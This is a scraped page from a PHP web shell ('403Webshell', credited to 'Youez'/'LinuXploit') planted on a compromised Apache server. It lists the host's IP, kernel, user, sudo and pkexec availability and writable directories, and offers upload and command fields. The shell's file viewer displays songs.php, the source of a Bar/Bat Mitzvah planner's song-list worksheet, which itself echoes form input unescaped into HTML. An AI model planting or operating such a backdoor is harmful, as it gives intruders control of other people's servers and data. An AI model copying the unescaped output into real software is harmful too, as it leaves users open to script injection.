403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/wwwdevplanner/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/wwwdevplanner/mod/songs.php
<?php include('_mod_security.php'); ?>
<?php
	if ($_POST['ajax_event_submitted'] == '1') :
		foreach($_POST as $key=>$value) :
			if (substr($key, 0, 7) == 'sng_id_') :
				$sng_id = substr($key, 7);
				if (!empty($_POST['song_purpose_'.$sng_id]) || !empty($_POST['song_title_'.$sng_id]) || !empty($_POST['names_'.$sng_id]) || !empty($_POST['comments_'.$sng_id])) :
					if (empty($_POST['song_purpose_'.$sng_id])) :
						$ar_err['song_purpose_'.$sng_id] = 'Song purpose is required!';
						$err_flag = true;
						$err_tab = 'general';
					endif;
					if (empty($_POST['song_title_'.$sng_id])) :
						$ar_err['song_title_'.$sng_id] = 'Song title is required!';
						$err_flag = true;
						$err_tab = 'general';
					endif;
					if (empty($_POST['names_'.$sng_id])) :
						$ar_err['names_'.$sng_id] = 'Name(s) are required!';
						$err_flag = true;
						$err_tab = 'general';
					endif;
					/*
					if (empty($_POST['guest_id_'.$sng_id])) :
						$ar_err['guest_id_'.$sng_id] = 'Guest name not in guest list!';
						$err_flag = true;
						$err_tab = 'general';
					endif;
					*/
				endif;
			endif;
		endforeach;
		if (!$err_flag) :
			foreach($_POST as $key=>$value) :
				if (substr($key, 0, 7) == 'sng_id_') :
					$sng_id = substr($key, 7);
					$set = 
						"seq = ".nz(mysqli_real_escape_string($GLOBALS['con'], trim($_POST['seq_'.$sng_id])),'0').", ".
						"song_purpose = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['song_purpose_'.$sng_id]))."', ".
						"song_title = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['song_title_'.$sng_id]))."', ".
						"names = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['names_'.$sng_id]))."', ".
						"comments = '".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['comments_'.$sng_id]))."' ";
					if ($sng_id == 'new') :
						if (!empty($_POST['song_purpose_'.$sng_id]) || !empty($_POST['song_title_'.$sng_id]) || !empty($_POST['names_'.$sng_id]) || !empty($_POST['comments_'.$sng_id])) :
							$sql = "INSERT INTO songs SET ".
								"user_id = ".$_SESSION['user_id'].", ".
								"event_id = ".$_SESSION['active_event'].", ".
								$set;
							mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
						endif;
					else :
						if (mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sng_del_'.$sng_id])) == '1') :
							$sql = "DELETE FROM songs WHERE id = ".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sng_id_'.$sng_id]))." AND user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event'];
							mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
						else :
							$sql = "UPDATE songs SET ".
								$set.
								"WHERE id = ".mysqli_real_escape_string($GLOBALS['con'], trim($_POST['sng_id_'.$sng_id]))." AND user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event'];
							mysqli_query($GLOBALS['con'], $sql) or die('Database Error!');
						endif;
					endif;
				endif;
			endforeach;
			// ----- Reset songs after successful update ----
			$sql = "SELECT * FROM songs WHERE user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ORDER BY seq, id ";
			$result = mysqli_query($GLOBALS['con'], $sql);
			while($row = mysqli_fetch_object($result)) :
				$_POST['seq_'.$row->id] = $row->seq;
				$_POST['song_purpose_'.$row->id] = $row->song_purpose;
				$_POST['song_title_'.$row->id] = $row->song_title;
				$_POST['names_'.$row->id] = $row->names;
				$_POST['comments_'.$row->id] = $row->comments;
			endwhile;
			unset($_POST['sng_id_new']);
			unset($_POST['song_purpose_new']);
			unset($_POST['song_purpose_new_mask']);
			unset($_POST['song_title_new']);
			unset($_POST['names_new']);
			unset($_POST['comments_new']);
			$form_message = "Saved sucessfully!";
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else :
		$sql = "SELECT * FROM songs WHERE user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ORDER BY seq, id ";
		$result = mysqli_query($GLOBALS['con'], $sql);
		while($row = mysqli_fetch_object($result)) :
			$_POST['seq_'.$row->id] = $row->seq;
			$_POST['song_purpose_'.$row->id] = $row->song_purpose;
			$_POST['song_title_'.$row->id] = $row->song_title;
			$_POST['names_'.$row->id] = $row->names;
			$_POST['comments_'.$row->id] = $row->comments;
		endwhile;
	endif;
	//var_dump($_POST);
	$xls_sql = "SELECT song_purpose, song_title, names, comments FROM songs WHERE user_id = ".$_SESSION['user_id']." AND event_id = ".$_SESSION['active_event']." ORDER BY seq, id";
	$ix_list = "songs";
	$ix_form = "guest_form&ref=rsvp";
?>
<script>
	
	var ar_seq = [];
	var ix = 0;

	sng_delete = function(sng_id)
	{
		var answer = confirm('Are you sure?  Make sure to SAVE the record for the deletion to take effect!');
		if (answer == true)
		{
			$("#sng_del_" + sng_id).val('1');
			$("#sng_row_" + sng_id).hide();
		}
	}
	
	sng_move_up = function(sng_id)
	{
		var row = $('#sng_row_' + sng_id);
		if (row.prev().attr('id') != 'sng_row_header')
		{
			var cur_seq = $('#seq_' + sng_id).val();
			var new_seq = row.prev().find('input[id^="seq_"]').first().val();
			$('#seq_' + sng_id).val(new_seq);
			row.prev().find('input[id^="seq_"]').first().val(cur_seq);
			row.insertBefore(row.prev());
		}
	}
	
	sng_move_down = function(sng_id)
	{
		var row = $('#sng_row_' + sng_id);
		if (row.next().attr('id') != 'sng_row_footer')
		{
			var cur_seq = $('#seq_' + sng_id).val();
			var new_seq = row.next().find('input[id^="seq_"]').first().val();
			$('#seq_' + sng_id).val(new_seq);
			row.next().find('input[id^="seq_"]').first().val(cur_seq);
			row.insertAfter(row.next());
		}
	}
	
	$(document).ready(function()	
	{
		/*
		$(".up,.down").click(function()
		{
			var row = $(this).parents("tr:first");
			if ($(this).is(".up")) {
				row.insertBefore(row.prev());
			} else {
				row.insertAfter(row.next());
			}
		});
		*/
	})
	
	// ****** Prepare popup form settings *****
	var win_page = 'page_form.php';
	var win_width = 600;
	var win_height = 400;
	var print_section = 'div_db_grid';
</script>

<h1>Song List Worksheet</h1>

<?php
	if (empty($_SESSION['active_event'])) :
?>
		<h3>No Bar/Bat Mitzvah defined - please create or activate a Bar/Bat Mitzvah!</h3>
<?php
	endif;
?>
<?php get_reports('song_list'); ?>
<?php get_notes(); ?>
<?php get_help_guide('help_songs'); ?>
<?php echo form_message($form_message); ?>

<?php //include('mod/_db_navigator_bar.php'); ?>

<div id="ajax_update" style="width:1px; height:1px; display:none;">
</div>

<form style="" name="frm_songs" id="frm_songs" method="post" action="" >
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<div class="db-grid" id="div_db_grid">
	
		<table class="dbgrid" align="center" cellpadding="0" cellspacing="1" border="0" >
			<thead>
				<tr id="sng_row_header">
					<td class="data-grid-label">
						Sequence
					</td>
					<td width="175" align="center" class="data-grid-label">
						Activity
					</td>
					<td width="175" align="center" class="data-grid-label">
						Song Title
					</td>
					<td width="250" align="center" class="data-grid-label">
						Name(s)
					</td>
					<td width="130" align="center" class="data-grid-label">
						Comment
					</td>
					<td class="data-grid-label">
						Delete
					</td>
				</tr>
			</thead>
			<tbody>
				<?php
					//mysqli_data_seek($result,0);
					$sql = "SELECT * FROM songs WHERE user_id = ".$_SESSION['user_id']."  AND event_id = ".$_SESSION['active_event']." ORDER BY seq, id ";
					$result = mysqli_query($GLOBALS['con'], $sql);
					$seq_max = 0;
					while($row = mysqli_fetch_object($result)) :
				?>
						<tr id="sng_row_<?php echo $row->id; ?>">
							<td class="data-grid-var" align="center">
								<input type="hidden" name="sng_id_<?php echo $row->id; ?>" id="sng_id_<?php echo $row->id; ?>" value="<?php echo $row->id; ?>"  />
								<input type="hidden" name="seq_<?php echo $row->id; ?>" id="seq_<?php echo $row->id; ?>" value="<?php echo $row->seq; ?>"  />
								<input type="hidden" name="sng_del_<?php echo $row->id; ?>" id="sng_del_<?php echo $row->id; ?>" value="0"  />
								<a class="up" href="javascript:sng_move_up(<?php echo $row->id; ?>);"><img src="img/arrow_up.png" style="border:none;"  /></a>
								<a class="down" href="javascript:sng_move_down(<?php echo $row->id; ?>);"><img src="img/arrow_down.png" style="border:none;"  /></a>
							</td>
							<td class="data-grid-var" >
								<?php 
									auto_complete('song_purpose_'.$row->id, $_POST['song_purpose_'.$row->id], $_POST['song_purpose_'.$row->id], "SELECT song_purpose, song_purpose FROM songs_template ORDER BY seq, song_purpose ", false, 175); 
								?>
								<?php show_form_error($ar_err['song_purpose_'.$row->id]); ?>
							</td>
							<td class="data-grid-var" >
								<input name="song_title_<?php echo $row->id; ?>" id="song_title_<?php echo $row->id; ?>" type="text" maxlength="100" style="width:175px;" value="<?php echo $_POST['song_title_'.$row->id]; ?>"  />
								<?php show_form_error($ar_err['song_title_'.$row->id]); ?>
							</td>
							<td class="data-grid-var" >
								<input name="names_<?php echo $row->id; ?>" id="names_<?php echo $row->id; ?>" type="text" maxlength="100" style="width:250px;" value="<?php echo $_POST['names_'.$row->id]; ?>"  />
								<?php show_form_error($ar_err['names_'.$row->id]); ?>
							</td>
							<td class="data-grid-var" >
								<input name="comments_<?php echo $row->id; ?>" id="comments_<?php echo $row->id; ?>" type="text" maxlength="100" style="width:130px;" value="<?php echo $_POST['comments_'.$row->id]; ?>"  />
								<?php show_form_error($ar_err['comments_'.$row->id]); ?>
							</td>
							<td class="data-grid-var" align="center">
								<a href="javascript:sng_delete(<?php echo $row->id; ?>);"><img src="img/delete_icon.gif" style="border:none;"  /></a>
							</td>
						</tr>
				<?php
						$seq_max = $seq_mqx + $row->seq;
					endwhile;
					$seq_max = $seq_max + 100;
				?>
				<tr id="sng_row_footer">
					<td colspan="7">
						Add new song below &darr;&nbsp;&darr;
					</td>
				</tr>
				<tr id="sng_row_new">
					<td class="data-grid-var" align="center">&nbsp;
						<input type="hidden" name="sng_id_new" id="sng_id_new" value="new"  />
						<input type="hidden" name="seq_new" id="seq_new" value="<?php echo $seq_max; ?>"  />
					</td>
					<td class="data-grid-var" >
						<?php 
							auto_complete('song_purpose_new', $_POST['song_purpose_new'], $_POST['song_purpose_new'], "SELECT song_purpose, song_purpose FROM songs_template ORDER BY seq, song_purpose ", false, 175); 
						?>
						<?php show_form_error($ar_err['song_purpose_new']); ?>
					</td>
					<td class="data-grid-var" >
						<input name="song_title_new" id="song_title_new" type="text" maxlength="100" style="width:175px;" value="<?php echo $_POST['song_title_new']; ?>"  />
						<?php show_form_error($ar_err['song_title_new']); ?>
					</td>
					<td class="data-grid-var" >
						<input name="names_new" id="names_new" type="text" maxlength="100" style="width:250px;" value="<?php echo $_POST['names_new']; ?>"  />
						<?php show_form_error($ar_err['names_new']); ?>
					</td>
					<td class="data-grid-var" >
						<input name="comments_new" id="comments_new" type="text" maxlength="100" style="width:130px;" value="<?php echo $_POST['comments_new']; ?>"  />
						<?php show_form_error($ar_err['comments_new']); ?>
					</td>
					<td class="data-grid-var" align="center">&nbsp;
					</td>
				</tr>
			</tbody>
		</table>
	
	</div>
	<div class="form_strip" style="border:none;">
		<input type="button" name="xsubmit" value="Save" onclick="this.form.submit();" />
		&nbsp;&nbsp;
		<input type="button" value="Cancel" onclick="sheet_dirty = false; window.location.href = 'index.php?IX=ez_guide'" />
		&nbsp;&nbsp;
		<input type="button" value="Excel &reg;" onclick="exportExcel('<?php echo urlencode(sys_encrypt(gzcompress($xls_sql,6), $_SESSION['rand_key'])); ?>');" />
		&nbsp;&nbsp;
		<input type="button" value="Print" onclick="printSection(print_section);" />
		&nbsp;&nbsp;
		<input type="button" value="PDF" onclick="pdfSection(print_section);" />
	</div>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit